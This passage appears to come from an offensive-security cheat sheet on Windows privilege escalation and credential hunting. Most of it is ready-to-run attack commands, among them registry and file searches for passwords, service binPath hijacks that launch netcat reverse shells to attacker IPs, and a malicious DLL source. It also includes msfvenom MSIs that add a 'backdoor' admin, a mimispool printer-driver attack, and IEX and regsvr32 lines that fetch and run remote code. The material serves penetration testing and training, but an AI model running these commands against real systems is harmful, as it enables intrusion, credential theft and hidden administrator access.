* Search passwords in SharePoint: [nheiniger/SnaffPoint](https://github.com/nheiniger/SnaffPoint) (must be compiled first, for referencing issue see: https://github.com/nheiniger/SnaffPoint/pull/6)
```powershell
# First, retrieve a token
## Method 1: using SnaffPoint binary
$token = (.\GetBearerToken.exe https://your.sharepoint.com)
## Method 2: using AADInternals
Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals
$token = (Get-AADIntAccessToken -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc" -Tenant "your.onmicrosoft.com" -Resource "https://your.sharepoint.com")
# Second, search on Sharepoint
## Method 1: using search strings in ./presets dir
.\SnaffPoint.exe -u "https://your.sharepoint.com" -t $token
## Method 2: using search string in command line
### -l uses FQL search, see: https://learn.microsoft.com/en-us/sharepoint/dev/general-development/fast-query-language-fql-syntax-reference
.\SnaffPoint.exe -u "https://your.sharepoint.com" -t $token -l -q "filename:.config"
```
* Search passwords in SMB Shares: [SnaffCon/Snaffler](https://github.com/SnaffCon/Snaffler)
### Search for a file with a certain filename
```powershell
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
```
### Search the registry for key names and passwords
```powershell
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials
reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```
### Passwords in unattend.xml
Location of the unattend.xml files.
```powershell
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```
Display the content of these files with `dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul`.
Example content
```powershell
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
```
Unattend credentials are stored in base64 and can be decoded manually with base64.
```powershell
$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d
SecretSecurePassword1234*
```
The Metasploit module `post/windows/gather/enum_unattend` looks for these files.
### IIS Web config
```powershell
Get-Childitem Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
```
```powershell
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
```
### Other files
```bat
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b
```
### Wifi passwords
Find AP SSID
```bat
netsh wlan show profile
```
Get Cleartext Pass
```bat
netsh wlan show profile <SSID> key=clear
```
Oneliner method to extract wifi passwords from all the access point.
```batch
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
```
### Sticky Notes passwords
The sticky notes app stores it's content in a sqlite db located at `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`
### Passwords stored in services
Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using [SessionGopher](https://github.com/Arvanaghi/SessionGopher)
```powershell
https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
```
### Passwords stored in Key Manager
:warning: This software will display its output in a GUI
```ps1
rundll32 keymgr,KRShowKeyMgr
```
### Powershell History
Disable Powershell history: `Set-PSReadlineOption -HistorySaveStyle SaveNothing`.
```powershell
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
```
### Powershell Transcript
```xml
C:\Users\<USERNAME>\Documents\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt
C:\Transcripts\<DATE>\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt
```
### Password in Alternate Data Stream
```ps1
PS > Get-Item -path flag.txt -Stream *
PS > Get-Content -path flag.txt -Stream Flag
```
## EoP - Processes Enumeration and Tasks
* What processes are running?
```powershell
tasklist /v
net start
sc query
Get-Service
Get-Process
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
```
* Which processes are running as "system"
```powershell
tasklist /v /fi "username eq system"
```
* Do you have powershell magic?
```powershell
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
```
* List installed programs
```powershell
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
```
* List services
```powershell
net start
wmic service list brief
tasklist /SVC
```
* Enumerate scheduled tasks
```powershell
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
```
* Startup tasks
```powershell
wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
```
## EoP - Incorrect permissions in services
> A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.
Often, services are pointing to writeable locations:
- Orphaned installs, not installed anymore but still exist in startup
- DLL Hijacking
```powershell
# find missing DLL
- Find-PathDLLHijack PowerUp.ps1
- Process Monitor : check for "Name Not Found"
# compile a malicious dll
- For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll"
- For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll"
# content of windows_dll.c
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt");
ExitProcess(0);
}
return TRUE;
}
```
- PATH directories with weak permissions
```powershell
$ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
$ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"
$ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt
FOR /F %i in (Servicenames.txt) DO echo %i
type Servicenames.txt
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
```
Alternatively you can use the Metasploit exploit : `exploit/windows/local/service_permissions`
Note to check file permissions you can use `cacls` and `icacls`
> icacls (Windows Vista +)
> cacls (Windows XP)
You are looking for `BUILTIN\Users:(F)`(Full access), `BUILTIN\Users:(M)`(Modify access) or `BUILTIN\Users:(W)`(Write-only access) in the output.
### Example with Windows 10 - CVE-2019-1322 UsoSvc
Prerequisite: Service account
```powershell
PS C:\Windows\system32> sc.exe stop UsoSvc
PS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\drivers\color\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "cmd /C C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe qc usosvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: usosvc
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START (DELAYED)
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Update Orchestrator Service
DEPENDENCIES : rpcss
SERVICE_START_NAME : LocalSystem
PS C:\Windows\system32> sc.exe start UsoSvc
```
### Example with Windows XP SP1 - upnphost
```powershell
# NOTE: spaces are mandatory for this exploit to work !
sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.0.73 4343 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
sc config upnphost depend= ""
net start upnphost
```
If it fails because of a missing dependency, try the following commands.
```powershell
sc config SSDPSRV start=auto
net start SSDPSRV
net stop upnphost
net start upnphost
sc config upnphost depend=""
```
Using [`accesschk`](https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe) from Sysinternals or [accesschk-XP.exe - github.com/phackt](https://github.com/phackt/pentest/blob/master/privesc/windows/accesschk-XP.exe)
```powershell
$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula
RW SSDPSRV
SERVICE_ALL_ACCESS
RW upnphost
SERVICE_ALL_ACCESS
$ accesschk.exe -ucqv upnphost
upnphost
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_ALL_ACCESS
$ sc config <vuln-service> binpath="net user backdoor backdoor123 /add"
$ sc config <vuln-service> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
$ sc stop <vuln-service>
$ sc start <vuln-service>
$ sc config <vuln-service> binpath="net localgroup Administrators backdoor /add"
$ sc stop <vuln-service>
$ sc start <vuln-service>
```
## EoP - Windows Subsystem for Linux (WSL)
Technique borrowed from [Warlockobama's tweet](https://twitter.com/Warlockobama/status/1067890915753132032)
> With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Don't know the root password? No problem just set the default user to root W/ <distro>.exe --default-user root. Now start your bind shell or reverse.
```powershell
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
```
Binary `bash.exe` can also be found in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`
Alternatively you can explore the `WSL` filesystem in the folder `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\`
## EoP - Unquoted Service Paths
The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.
```powershell
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
```
* Metasploit exploit : `exploit/windows/local/trusted_service_path`
* PowerUp exploit
```powershell
# find the vulnerable application
C:\> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('https://your-site.com/PowerUp.ps1'); Invoke-AllChecks"
...
[*] Checking for unquoted service paths...
ServiceName : BBSvc
Path : C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exe
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path <HijackPath>
...
# automatic exploit
Invoke-ServiceAbuse -Name [SERVICE_NAME] -Command "..\..\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
```
### Example
For `C:\Program Files\something\legit.exe`, Windows will try the following paths first:
- `C:\Program.exe`
- `C:\Program Files.exe`
## EoP - $PATH Interception
Requirements:
- PATH contains a writeable folder with low privileges.
- The writeable folder is _before_ the folder that contains the legitimate binary.
EXAMPLE:
```powershell
# List contents of the PATH environment variable
# EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32
$env:Path
# See permissions of the target folder
# EXAMPLE OUTPUT: BUILTIN\Users: GR,GW
icacls.exe "C:\Program Files\nodejs\"
# Place our evil-file in that folder.
copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"
```
Because (in this example) "C:\Program Files\nodejs\" is _before_ "C:\WINDOWS\system32\" on the PATH variable, the next time the user runs "cmd.exe", our evil version in the nodejs folder will run, instead of the legitimate one in the system32 folder.
## EoP - Named Pipes
1. Find named pipes: `[System.IO.Directory]::GetFiles("\\.\pipe\")`
2. Check named pipes DACL: `pipesec.exe <named_pipe>`
3. Reverse engineering software
4. Send data throught the named pipe : `program.exe >\\.\pipe\StdOutPipe 2>\\.\pipe\StdErrPipe`
## EoP - Kernel Exploitation
List of exploits kernel : [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits)
##### #Security Bulletin&nbsp;&nbsp;&nbsp;#KB &nbsp;&nbsp;&nbsp;&nbsp;#Description&nbsp;&nbsp;&nbsp;&nbsp;#Operating System
- [MS17-017](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS17-017)  [KB4013081]  [GDI Palette Objects Local Privilege Escalation]  (windows 7/8)
- [CVE-2017-8464](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2017-8464)  [LNK Remote Code Execution Vulnerability]  (windows 10/8.1/7/2016/2010/2008)
- [CVE-2017-0213](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2017-0213)  [Windows COM Elevation of Privilege Vulnerability]  (windows 10/8.1/7/2016/2010/2008)
- [CVE-2018-0833](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2018-0833) [SMBv3 Null Pointer Dereference Denial of Service] (Windows 8.1/Server 2012 R2)
- [CVE-2018-8120](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2018-8120) [Win32k Elevation of Privilege Vulnerability] (Windows 7 SP1/2008 SP2,2008 R2 SP1)
- [MS17-010](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS17-010)  [KB4013389]  [Windows Kernel Mode Drivers]  (windows 7/2008/2003/XP)
- [MS16-135](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-135)  [KB3199135]  [Windows Kernel Mode Drivers]  (2016)
- [MS16-111](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-111)  [KB3186973]  [kernel api]  (Windows 10 10586 (32/64)/8.1)
- [MS16-098](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-098)  [KB3178466]  [Kernel Driver]  (Win 8.1)
- [MS16-075](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075)  [KB3164038]  [Hot Potato]  (2003/2008/7/8/2012)
- [MS16-034](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-034)  [KB3143145]  [Kernel Driver]  (2008/7/8/10/2012)
- [MS16-032](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032)  [KB3143141]  [Secondary Logon Handle]  (2008/7/8/10/2012)
- [MS16-016](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-016)  [KB3136041]  [WebDAV]  (2008/Vista/7)
- [MS16-014](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-014)  [K3134228]  [remote code execution]  (2008/Vista/7)
...
- [MS03-026](./MS03-026)  [KB823980]   [Buffer Overrun In RPC Interface]  (/NT/2000/XP/2003)
To cross compile a program from Kali, use the following command.
```powershell
Kali> i586-mingw32msvc-gcc -o adduser.exe useradd.c
```
## EoP - Microsoft Windows Installer
### AlwaysInstallElevated
Using the `reg query` command, you can check the status of the `AlwaysInstallElevated` registry key for both the user and the machine. If both queries return a value of `0x1`, then `AlwaysInstallElevated` is enabled for both user and machine, indicating the system is vulnerable.
* Shell command
```powershell
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```
* PowerShell command
```powershell
Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer
Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer
```
Then create an MSI package and install it.
```powershell
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi-nouac -o evil.msi
$ msiexec /quiet /qn /i C:\evil.msi
```
Technique also available in :
* Metasploit : `exploit/windows/local/always_install_elevated`
* PowerUp.ps1 : `Get-RegistryAlwaysInstallElevated`, `Write-UserAddMSI`
### CustomActions
> Custom Actions in MSI allow developers to specify scripts or executables to be run at various points during an installation
* [mgeeky/msidump](https://github.com/mgeeky/msidump) - a tool that analyzes malicious MSI installation packages, extracts files, streams, binary data and incorporates YARA scanner.
* [activescott/lessmsi](https://github.com/activescott/lessmsi) - A tool to view and extract the contents of an Windows Installer (.msi) file.
* [mandiant/msi-search](https://github.com/mandiant/msi-search) - This tool simplifies the task for red team operators and security teams to identify which MSI files correspond to which software and enables them to download the relevant file.
Enumerate products on the machine
```ps1
wmic product get identifyingnumber,name,vendor,version
```
Execute the repair process with the `/fa` parameter to trigger the CustomActions.
We can use both IdentifyingNumber `{E0F1535A-8414-5EF1-A1DD-E17EDCDC63F1}` or path to the installer `c:\windows\installer\XXXXXXX.msi`.
The repair will run with the NT SYSTEM account.
```ps1
$installed = Get-WmiObject Win32_Product
$string= $installed | select-string -pattern "PRODUCTNAME"
$string[0] -match '{\w{8}-\w{4}-\w{4}-\w{4}-\w{12}}'
Start-Process -FilePath "msiexec.exe" -ArgumentList "/fa $($matches[0])"
```
Common mistakes in MSI installers:
* Missing quiet parameters: it will spawn `conhost.exe` as `NT SYSTEM`. Use `[CTRL]+[A]` to select some text in it, it will pause the execution.
* conhost -> properties -> "legacy console mode" Link -> Internet Explorer -> CTRL+O > cmd.exe
* GUI with direct actions: open a URL and start the browser then use the same scenario.
* Binaries/Scripts loaded from user writable paths: you might need to win the race condition.
* DLL hijacking/search order abusing
* PowerShell `-NoProfile` missing: Add custom commands into your profile
```ps1
new-item -Path $PROFILE -Type file -Force
echo "Start-Process -FilePath cmd.exe -Wait;" > $PROFILE
```
## EoP - Insecure GUI apps
Application running as SYSTEM allowing an user to spawn a CMD, or browse directories.
Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"
## EoP - Evaluating Vulnerable Drivers
Look for vuln drivers loaded, we often don't spend enough time looking at this:
* [Living Off The Land Drivers](https://www.loldrivers.io/) is a curated list of Windows drivers used by adversaries to bypass security controls and carry out attacks. The project helps security professionals stay informed and mitigate potential threats.
* Native binary: DriverQuery.exe
```powershell
PS C:\Users\Swissky> driverquery.exe /fo table /si
Module Name Display Name Driver Type Link Date
============ ====================== ============= ======================
1394ohci 1394 OHCI Compliant Ho Kernel 12/10/2006 4:44:38 PM
3ware 3ware Kernel 5/18/2015 6:28:03 PM
ACPI Microsoft ACPI Driver Kernel 12/9/1975 6:17:08 AM
AcpiDev ACPI Devices driver Kernel 12/7/1993 6:22:19 AM
acpiex Microsoft ACPIEx Drive Kernel 3/1/2087 8:53:50 AM
acpipagr ACPI Processor Aggrega Kernel 1/24/2081 8:36:36 AM
AcpiPmi ACPI Power Meter Drive Kernel 11/19/2006 9:20:15 PM
acpitime ACPI Wake Alarm Driver Kernel 2/9/1974 7:10:30 AM
ADP80XX ADP80XX Kernel 4/9/2015 4:49:48 PM
<SNIP>
```
* [matterpreter/OffensiveCSharp/DriverQuery](https://github.com/matterpreter/OffensiveCSharp/tree/master/DriverQuery)
```powershell
PS C:\Users\Swissky> DriverQuery.exe --no-msft
[+] Enumerating driver services...
[+] Checking file signatures...
Citrix USB Filter Driver
Service Name: ctxusbm
Path: C:\Windows\system32\DRIVERS\ctxusbm.sys
Version: 14.11.0.138
Creation Time (UTC): 17/05/2018 01:20:50
Cert Issuer: CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network, O=Symantec Corporation, C=US
Signer: CN="Citrix Systems, Inc.", OU=XenApp(ClientSHA256), O="Citrix Systems, Inc.", L=Fort Lauderdale, S=Florida, C=US
<SNIP>
```
## EoP - Printers
### Universal Printer
Create a Printer
```ps1
$printerName = 'Universal Priv Printer'
$system32 = $env:systemroot + '\system32'
$drivers = $system32 + '\spool\drivers'
$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\' + $printerName
Copy-Item -Force -Path ($system32 + '\mscms.dll') -Destination ($system32 + '\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll' -Destination ($drivers + '\x64\3\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destination ($drivers + '\W32X86\3\mimispool.dll')
Add-PrinterDriver -Name 'Generic / Text Only'
Add-Printer -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared
New-Item -Path ($RegStartPrinter + '\CopyFiles') | Out-Null
New-Item -Path ($RegStartPrinter + '\CopyFiles\Kiwi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Directory' -PropertyType 'String' -Value 'x64\3' | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null
New-Item -Path ($RegStartPrinter + '\CopyFiles\Litchi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Directory' -PropertyType 'String' -Value 'W32X86\3' | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Files' -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Module' -PropertyType 'String' -Value 'mscms.dll' | Out-Null
New-Item -Path ($RegStartPrinter + '\CopyFiles\Mango') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Directory' -PropertyType 'String' -Value $null | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Files' -PropertyType 'MultiString' -Value $null | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango') -Name 'Module' -PropertyType 'String' -Value 'mimispool.dll' | Out-Null
```
Execute the driver
```ps1
$serverName = 'dc.purple.lab'
$printerName = 'Universal Priv Printer'
$fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
Add-Printer -ConnectionName $fullprinterName
```
### PrinterNightmare
```ps1
git clone https://github.com/Flangvik/DeployPrinterNightmare
PS C:\adversary> FakePrinter.exe 32mimispool.dll 64mimispool.dll EasySystemShell
[<3] @Flangvik - TrustedSec
[+] Copying C:\Windows\system32\mscms.dll to C:\Windows\system32\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Copying 64mimispool.dll to C:\Windows\system32\spool\drivers\x64\3\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Copying 32mimispool.dll to C:\Windows\system32\spool\drivers\W32X86\3\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Adding printer driver => Generic / Text Only!
[+] Adding printer => EasySystemShell!
[+] Setting 64-bit Registry key
[+] Setting 32-bit Registry key
[+] Setting '*' Registry key
```
```ps1
PS C:\target> $serverName = 'printer-installed-host'
PS C:\target> $printerName = 'EasySystemShell'
PS C:\target> $fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
PS C:\target> Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
PS C:\target> Add-Printer -ConnectionName $fullprinterName
```
### Bring Your Own Vulnerability
Concealed Position : https://github.com/jacob-baines/concealed_position
* ACIDDAMAGE - [CVE-2021-35449](https://nvd.nist.gov/vuln/detail/CVE-2021-35449) - Lexmark Universal Print Driver LPE
* RADIANTDAMAGE - [CVE-2021-38085](https://nvd.nist.gov/vuln/detail/CVE-2021-38085) - Canon TR150 Print Driver LPE
* POISONDAMAGE - [CVE-2019-19363](https://nvd.nist.gov/vuln/detail/CVE-2019-19363) - Ricoh PCL6 Print Driver LPE
* SLASHINGDAMAGE - [CVE-2020-1300](https://nvd.nist.gov/vuln/detail/CVE-2020-1300) - Windows Print Spooler LPE
```powershell
cp_server.exe -e ACIDDAMAGE
# Get-Printer
# Set the "Advanced Sharing Settings" -> "Turn off password protected sharing"
cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
cp_client.exe -l -e ACIDDAMAGE
```
## EoP - Runas
Use the `cmdkey` to list the stored credentials on the machine.
```powershell
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
```
Then you can use `runas` with the `/savecred` options in order to use the saved credentials.
The following example is calling a remote binary via an SMB share.
```powershell
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
runas /savecred /user:Administrator "cmd.exe /k whoami"
```
Using `runas` with a provided set of credential.
```powershell
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
```
```powershell
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)
```
## EoP - Abusing Shadow Copies
If you have local administrator access on a machine try to list shadow copies, it's an easy way for Privilege Escalation.
```powershell
# List shadow copies using vssadmin (Needs Admnistrator Access)
vssadmin list shadows
# List shadow copies using diskshadow
diskshadow list shadows all
# Make a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
```
## EoP - From local administrator to NT SYSTEM
```powershell
PsExec.exe -i -s cmd.exe
```
## EoP - Living Off The Land Binaries and Scripts
Living Off The Land Binaries and Scripts (and also Libraries) : https://lolbas-project.github.io/
> The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.
A LOLBin/Lib/Script must:
* Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft.
Have extra "unexpected" functionality. It is not interesting to document intended use cases.
Exceptions are application whitelisting bypasses
* Have functionality that would be useful to an APT or red team
```powershell
wmic.exe process call create calc
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
Microsoft.Workflow.Compiler.exe tests.xml results.xml
```
## EoP - Impersonation Privileges
